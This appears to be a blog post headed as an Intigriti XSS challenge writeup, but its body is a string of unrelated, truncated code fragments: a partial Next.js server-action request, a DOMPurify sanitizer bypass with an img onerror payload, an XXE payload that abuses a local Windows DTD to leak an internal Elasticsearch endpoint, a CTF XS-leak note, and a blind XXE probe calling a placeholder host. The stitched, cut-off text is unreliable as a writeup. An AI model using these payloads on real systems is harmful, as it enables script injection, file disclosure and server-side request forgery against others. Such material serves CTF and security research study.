| layout | post | |
|---|---|---|
| title | Intigriti's Nov XSS Challenge Writeup | |
| subtitle | XSS | |
| cover-img | /assets/img/wsc.jpg | |
| thumbnail-img | /assets/img/wsc.jpg | |
| share-img | /assets/img/wsc.jpg | |
| tags |
|
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| POST / HTTP/1.1 | |
| Host: localhost | |
| User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 | |
| Next-Action: x | |
| Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad | |
| Content-Length: 459 | |
| ------WebKitFormBoundaryx8jO2oVc6SWP3Sad | |
| Content-Disposition: form-data; name="0" |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| const createDOMPurify = require("dompurify"); | |
| const { JSDOM } = require("jsdom"); | |
| const http = require("http"); | |
| const server = http.createServer((req, res) => { | |
| const window = new JSDOM("").window; | |
| const DOMPurify = createDOMPurify(window); | |
| const clean = DOMPurify.sanitize(`<a id="\x1b$B"></a>\x1b(B<a id="><img src=x onerror=alert(1)>"></a>`); | |
| res.statusCode = 200; |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| <!DOCTYPE doc [ | |
| <!ENTITY % local_dtd SYSTEM "file:///C:\Windows\System32\wbem\xml\cim20.dtd"> | |
| <!ENTITY % SuperClass '> | |
| <!ENTITY % file SYSTEM "http://example.com:9200/_cat/indices"> | |
| <!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file://test/#%file;'>"> | |
| %eval; | |
| %error; | |
| <!ENTITY test "test"' | |
| > | |
| %local_dtd; |
XS-leaks while download in headless-chrome.
There is a feature to search the note and a download option, so visiting the following page http://34.84.72.167/search?q=LINECTF{&download downloads a json file if the param value of q exists in notes.
Download doesn't work in headless chrome, so it throws an error.
page.goto(url).then(() => {
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| -------------------------------------------------------------- | |
| Vanilla, used to verify outbound xxe or blind xxe | |
| -------------------------------------------------------------- | |
| <?xml version="1.0" ?> | |
| <!DOCTYPE r [ | |
| <!ELEMENT r ANY > | |
| <!ENTITY sp SYSTEM "http://x.x.x.x:443/test.txt"> | |
| ]> | |
| <r>&sp;</r> |